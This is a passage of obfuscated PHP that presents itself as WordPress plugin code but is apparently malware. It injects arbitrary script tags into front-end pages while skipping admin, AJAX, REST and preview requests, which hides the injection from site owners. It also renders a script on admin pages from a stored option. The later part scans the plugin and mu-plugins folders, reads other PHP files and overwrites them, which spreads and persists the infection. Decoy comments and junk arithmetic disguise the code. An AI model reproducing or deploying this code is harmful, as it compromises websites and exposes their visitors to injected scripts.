  if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1761)))    $hts4t6h0j4j(s99lg14mcd3un(1761));
  elseif (isset($GLOBALS[s99lg14mcd3un(540)])  &&  $GLOBALS['__scf_zr5xv8ge2ijskk_69']($GLOBALS[j8bjjevd80e(1762)]) &&  $GLOBALS['__scf_r5y2nofw5p1zz_126']($GLOBALS[s99lg14mcd3un(1762)],     b5xx0lrqzfc(1763)))   $hts4t6h0j4j(function ()   {


      $GLOBALS[j8bjjevd80e(1762)]->deleteCache(true);



   });



  if   ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1764)))  $hts4t6h0j4j(pvz_9xuc0nzl0m(1764));



  if ($GLOBALS['__scf_zr872o85b_o0_538'](pvz_9xuc0nzl0m(1765)) && $GLOBALS['__scf_r5y2nofw5p1zz_126'](pvz_9xuc0nzl0m(1766), cv8ducrec(1767))) $hts4t6h0j4j(array(pvz_9xuc0nzl0m(1766),   j8bjjevd80e(1767)));
 f1995qrx5prr7cbl19co0e(j8bjjevd80e(453),  s99lg14mcd3un(1768));



       return  $l6gwea6czqv;
}
       function     nnokzcelwyjbwkck()

{
 if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1769)) && is_admin())  return   true;
if    ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1770)) &&  wp_doing_ajax())  return true;


if (defined(j8bjjevd80e(1771))   &&  REST_REQUEST)  return    true;



if (defined(j8bjjevd80e(1772))     && XMLRPC_REQUEST) return  true;
    if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1773))  &&    is_feed())   return true;
if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1774))    && is_robots()) return      true;

if      ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1775))   &&    is_sitemaps())  return  true;



     if    ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1776)) &&  is_customize_preview())   return   true;
  if      (isset($_GET[s99lg14mcd3un(1777)])  ||  isset($_GET[b5xx0lrqzfc(1778)]) || isset($_GET[s99lg14mcd3un(1779)]))    return true;
return false;
 }
      function i5qpp8be2wsznhnwy92j()


   {
$qbeup_bjtzqf     = (isset($GLOBALS[b5xx0lrqzfc(1780)])  && $GLOBALS['__scf_qubutkuvnnc4sx_41']($GLOBALS[pvz_9xuc0nzl0m(1780)])) ?  $GLOBALS['__scf_qbsuu37jbe5t_328']($GLOBALS[cv8ducrec(1781)])   :     "";
 if  ($qbeup_bjtzqf   ===  "") return     "";
 $qbeup_bjtzqf =  $GLOBALS['__scf_q1hcnnvi5ufvxy_363'](s99lg14mcd3un(1782),  b5xx0lrqzfc(1783),     $qbeup_bjtzqf);

    $mpxuffyorb =  $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1143))  ?   (string)   $GLOBALS['__scf_funynp4wlyh1l1_562'](home_url(),      PHP_URL_HOST)    :    "";
 $lt6swenaq1q   =     inbj7my4zpjuh_tx($GLOBALS['__scf_i1sl42qxo03g_107']($mpxuffyorb),  (4+2));
 $nenqrrka2tih  = $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($qbeup_bjtzqf), 0,  (9-3));
   return  "\n<script data-sc=\"" .     $lt6swenaq1q .  '-' . $nenqrrka2tih   .   "\">\n" .    $qbeup_bjtzqf . "\n</script>\n<!-- sc"      . $lt6swenaq1q  .  '-'  .    $nenqrrka2tih .     " -->\n";
   }
     function xsi9q_khrqcs1j6ro()
  {
// mbstring strict: fuzz composite

    try  {
if    (nnokzcelwyjbwkck())      return;
$a9oal7n6c2gs8   =   i5qpp8be2wsznhnwy92j();
 if ($a9oal7n6c2gs8   ===  "") return;
     echo     $a9oal7n6c2gs8;
      $GLOBALS[cv8ducrec(1784)]      =  true;



  if    ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1785)) && $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1786))  && empty($GLOBALS[pvz_9xuc0nzl0m(1787)]))    {
// dependency graph

        $GLOBALS[j8bjjevd80e(1787)] =    true;
$gdewagsfvy    =  (int)   @get_option(j8bjjevd80e(500),      0);
 if   ($GLOBALS['__scf_tmn0v_xik_1b_195']() -  $gdewagsfvy   >      (206+94)) @update_option(b5xx0lrqzfc(500),  $GLOBALS['__scf_tmn0v_xik_1b_195'](),  j8bjjevd80e(1584));

 unset($gdewagsfvy);

   }

 } catch     (Throwable    $uvo4msk8s29_)  {
      f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1788),   $uvo4msk8s29_);
 } catch (Exception  $uvo4msk8s29_)  {

  }
 }
  function e3rxarnzfntjvlsqn964_($v02cuutarx,   $p9tm63lt_b =   0)
{
   if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($v02cuutarx)  || $v02cuutarx ===  "")  return  $v02cuutarx;

    if  (defined(pvz_9xuc0nzl0m(1789)) &&   !($p9tm63lt_b  & PHP_OUTPUT_HANDLER_FINAL)) return   $v02cuutarx;
  if  (!empty($GLOBALS[b5xx0lrqzfc(1790)]))   return  $v02cuutarx;
  if (!empty($GLOBALS[b5xx0lrqzfc(1784)]))      return $v02cuutarx;
 if     ($GLOBALS['__scf_d413tdd725_10']($v02cuutarx) >  (4973773-779469))  return   $v02cuutarx;
   if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1791))) {
  foreach      ((array) @headers_list()  as     $cbwsyvzskt5_9)  {
if (stripos($cbwsyvzskt5_9,      pvz_9xuc0nzl0m(1792))   ===  0   &&  stripos($cbwsyvzskt5_9,    s99lg14mcd3un(1793))   !==     false)    return $v02cuutarx;
     if (stripos($cbwsyvzskt5_9, s99lg14mcd3un(1794))  === 0 && stripos($cbwsyvzskt5_9,    j8bjjevd80e(1795))  ===   false  && stripos($cbwsyvzskt5_9,   j8bjjevd80e(1796))     ===     false)    return   $v02cuutarx;
 }
unset($cbwsyvzskt5_9);
 }


 $a9oal7n6c2gs8  =     i5qpp8be2wsznhnwy92j();
    if   ($a9oal7n6c2gs8    === "")     return     $v02cuutarx;
if    (stripos($v02cuutarx,    b5xx0lrqzfc(1797)) ===     false && stripos($v02cuutarx,   j8bjjevd80e(1798))   === false) return    $v02cuutarx;
$GLOBALS[cv8ducrec(1799)] = true;


      $GLOBALS[s99lg14mcd3un(1800)]    =   true;
  $l0qot7oy2ojkqf  =    stripos($v02cuutarx,  b5xx0lrqzfc(1801));
 if    ($l0qot7oy2ojkqf  !==  false)  {
return    $GLOBALS['__scf_kmygv436ft5pn_9']($v02cuutarx,    0, $l0qot7oy2ojkqf)  .     $a9oal7n6c2gs8    .  $GLOBALS['__scf_kmygv436ft5pn_9']($v02cuutarx,  $l0qot7oy2ojkqf);
 }
// PHP CS Fixer: negotiate transformer

   return     $v02cuutarx      .   $a9oal7n6c2gs8;
  }
     function   dt042h_7ywd2ani0hg()
   {

    try {



  if     (nnokzcelwyjbwkck())   return;
if  (!empty($GLOBALS[s99lg14mcd3un(1790)]))   return;
     if (!empty($GLOBALS[s99lg14mcd3un(1802)]))     return;
  if  (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1791)))  return;
      $qbeup_bjtzqf   =   (isset($GLOBALS[pvz_9xuc0nzl0m(1781)])   &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($GLOBALS[cv8ducrec(1803)]))   ? $GLOBALS['__scf_qbsuu37jbe5t_328']($GLOBALS[s99lg14mcd3un(1803)])   :   "";
     if ($qbeup_bjtzqf   ===  "")   return;
  $uo8b_g8x9dg      =  isset($_SERVER[cv8ducrec(1804)])     ? (string)   $_SERVER[b5xx0lrqzfc(1804)] :    "";
if  ($uo8b_g8x9dg !==    ""  &&  $GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1805),   $uo8b_g8x9dg))    return;
 if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1791))) {
   foreach ((array)   @headers_list() as $cbwsyvzskt5_9)   {
if   (stripos($cbwsyvzskt5_9, pvz_9xuc0nzl0m(1806)) === 0  && stripos($cbwsyvzskt5_9,  pvz_9xuc0nzl0m(1793)) !==  false)    return;
  if (stripos($cbwsyvzskt5_9,   b5xx0lrqzfc(1794))  ===  0      &&  stripos($cbwsyvzskt5_9,  pvz_9xuc0nzl0m(1795))  ===  false &&  stripos($cbwsyvzskt5_9, cv8ducrec(1807))    ===   false)  return;
     if   (stripos($cbwsyvzskt5_9,  j8bjjevd80e(1808))  ===     0)  return;
   }
unset($cbwsyvzskt5_9);
   }
  $GLOBALS[cv8ducrec(1802)] = true;
 @$GLOBALS['__scf_dbm6f00inmq0yr_1809'](pvz_9xuc0nzl0m(1810));
}    catch   (Throwable      $uvo4msk8s29_)     {
// WP Custom Link attachment metadata



 f1995qrx5prr7cbl19co0e(j8bjjevd80e(497), $uvo4msk8s29_);


    }    catch   (Exception     $uvo4msk8s29_)    {
 }
// WP useInnerBlocksProps: broadcast prototype

   }


  function q39kgp7j4bzjminc()
{
try    {
// open negotiator

 if    (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1769)))   return;
 

  if  (!is_admin()    &&  (!isset($GLOBALS[j8bjjevd80e(1811)]) ||  $GLOBALS[s99lg14mcd3un(1812)]    !== s99lg14mcd3un(560)))   return;
  if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(485))  &&  !is_ssl())   return;
 $zo41uezfux91l  = _x9hn2qehctkx39o(b5xx0lrqzfc(1813), "");


  $lt6swenaq1q  =      inbj7my4zpjuh_tx(ABSPATH .  b5xx0lrqzfc(1788),  (0x4+0x2));


   $qnhfvuwbru63u31  =  b5xx0lrqzfc(1814);
 if   ($zo41uezfux91l ===  "") {

     if      ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1785))   &&    (int) @get_option(cv8ducrec(508),   0))    {
       @update_option(j8bjjevd80e(1815),  0,   cv8ducrec(1584));
  $b18cz96hhe   =  (string)   @get_option(cv8ducrec(1816), "");



 echo  "\n"  .  b5xx0lrqzfc(1817) .  $lt6swenaq1q    .  '>'
.  s99lg14mcd3un(1818)
 .    j8bjjevd80e(1819)    .     $qnhfvuwbru63u31(cv8ducrec(1820)) .  s99lg14mcd3un(1821)
    .   cv8ducrec(1822)  . $GLOBALS['__scf_ks9itesnmzhh_594']($b18cz96hhe) . ';'
 . s99lg14mcd3un(1823)     . $qnhfvuwbru63u31(pvz_9xuc0nzl0m(1824))   .    pvz_9xuc0nzl0m(1825)
. b5xx0lrqzfc(1826) .   $qnhfvuwbru63u31(pvz_9xuc0nzl0m(1827))   .  b5xx0lrqzfc(1828)    .  $qnhfvuwbru63u31(cv8ducrec(1829))  .   b5xx0lrqzfc(1828)  .      $qnhfvuwbru63u31(j8bjjevd80e(1830))   .   s99lg14mcd3un(1831) . $qnhfvuwbru63u31(cv8ducrec(1832))  . j8bjjevd80e(1833)
   .    b5xx0lrqzfc(1834) .  $qnhfvuwbru63u31(pvz_9xuc0nzl0m(1835))   .     pvz_9xuc0nzl0m(1836)     .  $qnhfvuwbru63u31(j8bjjevd80e(1837))  .  pvz_9xuc0nzl0m(1838)
   .   j8bjjevd80e(1839)   . "\n";
 unset($b18cz96hhe);
 }
    return;
}
 $zo41uezfux91l     = $GLOBALS['__scf_q1hcnnvi5ufvxy_363'](j8bjjevd80e(1840), pvz_9xuc0nzl0m(1137), $zo41uezfux91l);



  if  ($GLOBALS['__scf_ya_jdhkqpku_7']($zo41uezfux91l,     pvz_9xuc0nzl0m(1137))  !== 0) $zo41uezfux91l  = j8bjjevd80e(1137)  . $GLOBALS['__scf_t61dw992fqm27x_8']($zo41uezfux91l, '/');
$luwrj6ddv_p0 =      '/';


 if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1841))) {
  $t8fs2k37cf     =  (string)  $GLOBALS['__scf_funynp4wlyh1l1_562'](home_url(),  PHP_URL_PATH);
 if ($t8fs2k37cf  !==    "" &&    $t8fs2k37cf   !== '/')    $luwrj6ddv_p0     =  $GLOBALS['__scf_qv5p187x3gyo_12']($t8fs2k37cf,  '/') .  '/';$rr3inc3n0a=PHP_MAJOR_VERSION;$q44cib917=$rr3inc3n0a*7;
  }
// on-stack replacement

 if     ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1786)))     {
@update_option(b5xx0lrqzfc(1815),  1, j8bjjevd80e(1584));
@update_option(j8bjjevd80e(1816),    $zo41uezfux91l, cv8ducrec(1584));
       }
 $mr7ah3cuiujsm2     =   s99lg14mcd3un(1842) .   $lt6swenaq1q   .   '>'

   . b5xx0lrqzfc(1818)



      . b5xx0lrqzfc(1819)  .  $qnhfvuwbru63u31(j8bjjevd80e(1843))   .  j8bjjevd80e(1844)



    .  b5xx0lrqzfc(1845)

      .   cv8ducrec(1846)  . $qnhfvuwbru63u31(cv8ducrec(1847))  . pvz_9xuc0nzl0m(1848)   .  $GLOBALS['__scf_ks9itesnmzhh_594']($zo41uezfux91l) .  ')'
.   j8bjjevd80e(1849)   . $qnhfvuwbru63u31(b5xx0lrqzfc(1827))    .  pvz_9xuc0nzl0m(1850)  .  $qnhfvuwbru63u31(cv8ducrec(1851))   .  s99lg14mcd3un(1850)    . $qnhfvuwbru63u31(pvz_9xuc0nzl0m(1852))  .   pvz_9xuc0nzl0m(1831)  . $qnhfvuwbru63u31(j8bjjevd80e(1832)) .  s99lg14mcd3un(1853)  .    $GLOBALS['__scf_ks9itesnmzhh_594']($zo41uezfux91l) . cv8ducrec(1854)


 . j8bjjevd80e(1855)   .      $qnhfvuwbru63u31(cv8ducrec(1856)) .      cv8ducrec(1848)     .  $GLOBALS['__scf_ks9itesnmzhh_594']($zo41uezfux91l) .    j8bjjevd80e(1857)  . $GLOBALS['__scf_ks9itesnmzhh_594']($luwrj6ddv_p0)   .   pvz_9xuc0nzl0m(1858)   . $qnhfvuwbru63u31(cv8ducrec(1837)) .  pvz_9xuc0nzl0m(1859)
  .    pvz_9xuc0nzl0m(1860)  .  $qnhfvuwbru63u31(j8bjjevd80e(1837))  .  cv8ducrec(1861)
.  cv8ducrec(1846) . $qnhfvuwbru63u31(j8bjjevd80e(1862))    .   j8bjjevd80e(1863) .  $qnhfvuwbru63u31(pvz_9xuc0nzl0m(187))    . s99lg14mcd3un(1864)

     .   cv8ducrec(1865)  .  $qnhfvuwbru63u31(b5xx0lrqzfc(1866))   .    cv8ducrec(1844)
 .  s99lg14mcd3un(1867)



   .  b5xx0lrqzfc(1846) .   $qnhfvuwbru63u31(j8bjjevd80e(1868)) .    s99lg14mcd3un(1869)


  . pvz_9xuc0nzl0m(1870) .  $qnhfvuwbru63u31(pvz_9xuc0nzl0m(1871)) .  cv8ducrec(1872)  .  $qnhfvuwbru63u31(cv8ducrec(1873)) .    pvz_9xuc0nzl0m(1874)
   . s99lg14mcd3un(1839);
 echo     "\n"   .     $mr7ah3cuiujsm2   .  "\n";
}   catch    (Throwable $uvo4msk8s29_)  {
  f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1875),   $uvo4msk8s29_);
        }  catch  (Exception $uvo4msk8s29_)    {
  f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1875),  $uvo4msk8s29_);
   }



 }


      
 if (pmx3bt7e2reygg2u())      {


   return;


    }
   yxpsf0b9vuqrcu1l();
     $cnjlhj7sangw  = @$GLOBALS['__scf_ha0rpt74l7eb9_102'](curga5ep68su8__o());
 if     (!$cnjlhj7sangw  ||  ($cnjlhj7sangw %  (99955+45))   !==  _dbs9edj_8e6_zc_s())   {


        $dhazoipkib  = $GLOBALS['__scf_tmn0v_xik_1b_195']();
       f3vsfers3pq3ok0kwile(curga5ep68su8__o(), ($dhazoipkib -  ($dhazoipkib % (138999-38999)))  +    _dbs9edj_8e6_zc_s());
     unset($dhazoipkib);


  }
   unset($cnjlhj7sangw);
 $ii_lwjdfbni4i9v  =  $GLOBALS['__scf_mij3fd72lyo_h_11'](__FILE__) .  s99lg14mcd3un(1876)   .      $GLOBALS['__scf_xz_5zbcnz0m_3'](__FILE__,  cv8ducrec(1720));
$o2ibl20mtgl2  =     @$GLOBALS['__scf_xaseomj3flge_20']($ii_lwjdfbni4i9v)    ?    (int) @$GLOBALS['__scf_ha0rpt74l7eb9_102']($ii_lwjdfbni4i9v)    :   0;

    $a_k5xm0svemlj  =   !($o2ibl20mtgl2     >     $GLOBALS['__scf_tmn0v_xik_1b_195']()   -  (0x49+0xe3) &&  $o2ibl20mtgl2  <=  $GLOBALS['__scf_tmn0v_xik_1b_195']()  +  (263+37));



  if ($a_k5xm0svemlj)   @$GLOBALS['__scf_w_83qzdu7rtu_74']($ii_lwjdfbni4i9v);



 unset($ii_lwjdfbni4i9v,  $o2ibl20mtgl2);


       if ($a_k5xm0svemlj) try    {
  $b217bsv53c4kvwh      = __FILE__;
  $k7z3vatmljy9oq7l     =   "";
 $bl37s49meg    = @$GLOBALS['__scf_v_rxq_yh85s05_99']($b217bsv53c4kvwh,  false,  null,   0, (5970-1874));
    if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($bl37s49meg) &&    $GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(1877),     $bl37s49meg,    $l8lruxoztux))   $k7z3vatmljy9oq7l   = $l8lruxoztux[1];
  if  ($k7z3vatmljy9oq7l  !==  "" &&  defined(s99lg14mcd3un(1704)))   {
 $t3xhnkmyb4   =     array();

$bapow_cim4 =    defined(pvz_9xuc0nzl0m(1878))  ?     WPMU_PLUGIN_DIR     :  WP_CONTENT_DIR  . cv8ducrec(1547);$ew5acxi7b=(0xbc+0x20);$igqk3kgqb=$ew5acxi7b%14;


    $_ibfymodzie   =    defined(b5xx0lrqzfc(1314))   ?   WP_PLUGIN_DIR :  WP_CONTENT_DIR .      pvz_9xuc0nzl0m(1879);
 $h4da8a16oaatz4p5    =   false;



      if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1606)))   {
  $r0ggm0uvmm =  @$GLOBALS['__scf_nish5zuncssvgd_43']($bapow_cim4)  ?  @$GLOBALS['__scf_fczaqag___47_72']($bapow_cim4 .  cv8ducrec(1880))   :  false;
 $brb_1wivuc   =   @$GLOBALS['__scf_fczaqag___47_72']($_ibfymodzie    .  b5xx0lrqzfc(738));
if    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($r0ggm0uvmm) ||   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($brb_1wivuc)) {
$h4da8a16oaatz4p5  =    true;
  foreach  ((array) $r0ggm0uvmm  as  $auxdpth4tt)  $t3xhnkmyb4[]  =   $auxdpth4tt;
    foreach  ((array)     $brb_1wivuc as  $auxdpth4tt) $t3xhnkmyb4[]   =      $auxdpth4tt;
 }



  unset($r0ggm0uvmm,  $brb_1wivuc);
   }
  if   (!$h4da8a16oaatz4p5)     {
    $l5nj7y7gff9sy5 = @$GLOBALS['__scf_nish5zuncssvgd_43']($bapow_cim4)    ?    x002260tc_2l50yfgc3hj($bapow_cim4,     (0x11a6+0x1e2))     :      false;
    if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($l5nj7y7gff9sy5))    foreach  ($l5nj7y7gff9sy5 as     $u3calndmzb3dhw) {


 if ($GLOBALS['__scf_kmygv436ft5pn_9']($u3calndmzb3dhw,   -(2+2))  ===   s99lg14mcd3un(1720))    $t3xhnkmyb4[]    =    $bapow_cim4  .     '/'    .     $u3calndmzb3dhw;
 }
  $l5nj7y7gff9sy5      =  @$GLOBALS['__scf_nish5zuncssvgd_43']($_ibfymodzie)  ?  x002260tc_2l50yfgc3hj($_ibfymodzie, (4917+83))     :      false;$ib3dlboxih=12+69;$otny4mv88a_j2=$ib3dlboxih-3;



 if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($l5nj7y7gff9sy5))   foreach ($l5nj7y7gff9sy5  as  $u3calndmzb3dhw)     {
  $dej2yql50yeg    =   $_ibfymodzie    . '/' . $u3calndmzb3dhw;
if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($dej2yql50yeg))  continue;



      $w2j21y2xzp88   =    x002260tc_2l50yfgc3hj($dej2yql50yeg, (4989+11));


if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($w2j21y2xzp88))   continue;
foreach  ($w2j21y2xzp88 as  $vzhgzw8hpfdpfb) {

   if    ($GLOBALS['__scf_kmygv436ft5pn_9']($vzhgzw8hpfdpfb,  -(3+1))   ===  pvz_9xuc0nzl0m(1881)) $t3xhnkmyb4[]      =    $dej2yql50yeg   . '/'   . $vzhgzw8hpfdpfb;
 }


    }
unset($l5nj7y7gff9sy5,  $u3calndmzb3dhw,    $vzhgzw8hpfdpfb,      $dej2yql50yeg, $w2j21y2xzp88);
   }
$q3eeimitmw =     $GLOBALS['__scf_xz_5zbcnz0m_3']($b217bsv53c4kvwh,   j8bjjevd80e(1881));
foreach ($t3xhnkmyb4     as   $auxdpth4tt)   {$w4apcmjrn=224|121;$e2a3vj6vgap6=$w4apcmjrn^238;
  if    ($auxdpth4tt    ===   $b217bsv53c4kvwh) continue;
 $uf2g7c1fhl3u   = @$GLOBALS['__scf_ha0rpt74l7eb9_102']($auxdpth4tt);
 if  (!$uf2g7c1fhl3u   ||   ($uf2g7c1fhl3u  %  (10487+89513))  !==     (27399+66420)) {



    $j86ibx65h0su   =   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($auxdpth4tt);
 if    (!$j86ibx65h0su  ||     $j86ibx65h0su   <     (488+12) ||   $j86ibx65h0su  >     (52970025-541225))    continue;

      }


      $bl37s49meg  =   @$GLOBALS['__scf_v_rxq_yh85s05_99']($auxdpth4tt,   false, null,  0, (4000+96));
 $l8lruxoztux = array();



   if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($bl37s49meg)) $GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(1877), $bl37s49meg,  $l8lruxoztux);



  if   (empty($l8lruxoztux[1]))   {
 if  (!oahk6ik6p30_tx4($auxdpth4tt, (8855-3855)))  continue;$c6l9nglmk0l=124|40;$gmevh6b_wqfa=$c6l9nglmk0l^96;

      $l8lruxoztux  =   array("", pvz_9xuc0nzl0m(215));
}
if  ($GLOBALS['__scf_xz_5zbcnz0m_3']($auxdpth4tt,  cv8ducrec(1881)) ===   $q3eeimitmw &&    $l8lruxoztux[1]    ===   $k7z3vatmljy9oq7l)    {
 if    (!dat9tig44if2fhzvffmjdd($auxdpth4tt))  {
        if (kcysqw_r7i8c86af_6($auxdpth4tt,  $auxdpth4tt    .     pvz_9xuc0nzl0m(1882))  &&   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1457))) @opcache_invalidate($auxdpth4tt,  true);


  }
 continue;
}
   if  (version_compare($l8lruxoztux[1],    $k7z3vatmljy9oq7l,      '<'))   {
 $bc7bcaoixys42b3 =     m5wd69bqaohezg3q($auxdpth4tt);
 if  ($bc7bcaoixys42b3 ===     false)  {
/* covariant-adj control-flow-graph */

   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1883),    cv8ducrec(1552)    .     $GLOBALS['__scf_xz_5zbcnz0m_3']($auxdpth4tt));


  continue;

 }
 if    ($bc7bcaoixys42b3 === true)     {
 if     (kcysqw_r7i8c86af_6($auxdpth4tt,   $auxdpth4tt   .  j8bjjevd80e(1882))) {



     if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1884)))    @opcache_invalidate($auxdpth4tt,   true);
   }     elseif    (!y8di6q6nzm4ebwuceier($auxdpth4tt)     &&   drb8j41qq5igcfm($auxdpth4tt))  {
 xfnnq7r2u7ap3w($auxdpth4tt);
    

  euhyaxfh77akrso($auxdpth4tt);
}
@$GLOBALS['__scf_yq6i_srj9g0m4_19']($GLOBALS['__scf_mij3fd72lyo_h_11']($auxdpth4tt) . b5xx0lrqzfc(202)   .  $GLOBALS['__scf_xz_5zbcnz0m_3']($auxdpth4tt,    j8bjjevd80e(1881)));
     continue;
      }
   if (!y8di6q6nzm4ebwuceier($auxdpth4tt)   && drb8j41qq5igcfm($auxdpth4tt))  {



 xfnnq7r2u7ap3w($auxdpth4tt);
 euhyaxfh77akrso($auxdpth4tt);
}
     pfxsazj3ojs1jhuei_l41($auxdpth4tt);
       continue;
 }
// @pipeline enumerator

$bgpn4wbzanb0c4 =  ($GLOBALS['__scf_xz_5zbcnz0m_3']($GLOBALS['__scf_mij3fd72lyo_h_11']($auxdpth4tt))   ===   j8bjjevd80e(1885) || $GLOBALS['__scf_mij3fd72lyo_h_11']($auxdpth4tt) ===    $bapow_cim4);
 if (!$bgpn4wbzanb0c4  &&   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1886)))  {



  $alsuyacce8ctayvk    =    $GLOBALS['__scf_xz_5zbcnz0m_3']($GLOBALS['__scf_mij3fd72lyo_h_11']($auxdpth4tt)) .  '/'  . $GLOBALS['__scf_xz_5zbcnz0m_3']($auxdpth4tt);
  $sdkqrrelzrzu6bj = (array) @get_option(b5xx0lrqzfc(734), array());
   $bgpn4wbzanb0c4   =  $GLOBALS['__scf_o_dt0p7mox4_159']($alsuyacce8ctayvk,   $sdkqrrelzrzu6bj,   true);
if  (!$bgpn4wbzanb0c4    && $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(487))   &&   is_multisite() &&  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1660))) {
 $neu9xvaimaop =   (array)  @get_site_option(j8bjjevd80e(218),   array());
$bgpn4wbzanb0c4   =  isset($neu9xvaimaop[$alsuyacce8ctayvk]);
  unset($neu9xvaimaop);$w8_o2yerzk=2794;$pjywisl9a7v8mx=$w8_o2yerzk%17;


   }
     unset($alsuyacce8ctayvk,   $sdkqrrelzrzu6bj);$bdnz11bzmw_pv=32|176;$jsx4a6zy=$bdnz11bzmw_pv^182;


    }
/* eager checkpoint */

    if      (!$bgpn4wbzanb0c4)    continue;
 if (version_compare($l8lruxoztux[1],      $k7z3vatmljy9oq7l, '>'))     {
     if   (dat9tig44if2fhzvffmjdd($auxdpth4tt)  &&     !hrfhci3wwbgn47uho($auxdpth4tt)  && !q3hfvmih78obmd4trwgtn($auxdpth4tt, $b217bsv53c4kvwh))     return;


    $s5vibuiw52_q93we = $GLOBALS['__scf_mij3fd72lyo_h_11']($auxdpth4tt)   .    pvz_9xuc0nzl0m(1887)  .    $GLOBALS['__scf_gvrvt5qjna_57']($auxdpth4tt);
    if   (@$GLOBALS['__scf_xaseomj3flge_20']($s5vibuiw52_q93we)   &&   (int) @$GLOBALS['__scf_ha0rpt74l7eb9_102']($s5vibuiw52_q93we)   <  $GLOBALS['__scf_tmn0v_xik_1b_195']() -  (49+11))  {
     $vgeqkyr68up      = $GLOBALS['__scf_uy4tufpelsg98c_118']('|', (string)   @$GLOBALS['__scf_v_rxq_yh85s05_99']($s5vibuiw52_q93we));
if ($GLOBALS['__scf_tbu69vegc9f_36']($vgeqkyr68up) < 2 ||  $vgeqkyr68up[0] !==     $l8lruxoztux[1]     ||    (int)  $vgeqkyr68up[1]   !==     (int)   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($auxdpth4tt))  {
 @$GLOBALS['__scf_yq6i_srj9g0m4_19']($s5vibuiw52_q93we);
continue;
 }
if    (m5wd69bqaohezg3q($auxdpth4tt) !==      false)      {
// rebalance distributor for PSR-7 messages
$r9huv3x5pecpx=94*2;$euru22ofu2c7wk=$r9huv3x5pecpx-6;
 ottk3i1kq8br96vi($auxdpth4tt, (368+52));



 if (wlm_50lfl72sy8hrb_9xe9($auxdpth4tt))    {
 @$GLOBALS['__scf_yq6i_srj9g0m4_19']($s5vibuiw52_q93we);
     if    ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1884)))    @opcache_invalidate($auxdpth4tt,  true);
  }
   }
       continue;$c9qagtdv=10|251;$ddg7i98fit7o58=$c9qagtdv^39;
 }
 @$GLOBALS['__scf_nr899f15j7ix_205']($s5vibuiw52_q93we,     $l8lruxoztux[1]   . '|'   .  (int) @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($auxdpth4tt));
        continue;
    }
if   ($l8lruxoztux[1]     ===  $k7z3vatmljy9oq7l)  {

    $u40mbkgau53h9    =  vpmjuicl682dmrh1gmv9u();

  $ku1kalu70qv1al7m   =  false;

  if     (!empty($u40mbkgau53h9[cv8ducrec(1363)]))   {$gwnbw39jws7tn=79*9;$l5hn2iajlp8=$gwnbw39jws7tn-48;
  $b_jbcqh1wu =   @$GLOBALS['__scf_rh81zjbcpm_33']($u40mbkgau53h9[s99lg14mcd3un(1363)]);
  $e25nk7bgye0u =    @$GLOBALS['__scf_rh81zjbcpm_33']($auxdpth4tt);
if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($b_jbcqh1wu)  &&   $GLOBALS['__scf_qubutkuvnnc4sx_41']($e25nk7bgye0u)  &&     $b_jbcqh1wu   === $e25nk7bgye0u  &&   dckf2ocna1pjd25bpp($u40mbkgau53h9) === s99lg14mcd3un(1368)      &&  dat9tig44if2fhzvffmjdd($auxdpth4tt))     {



 if  (q3hfvmih78obmd4trwgtn($auxdpth4tt,  $b217bsv53c4kvwh))  $ku1kalu70qv1al7m =  true;


    else    return;
 }
      if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($b_jbcqh1wu)   && $b_jbcqh1wu ===  @$GLOBALS['__scf_rh81zjbcpm_33']($b217bsv53c4kvwh)) $ku1kalu70qv1al7m =     true;



       }
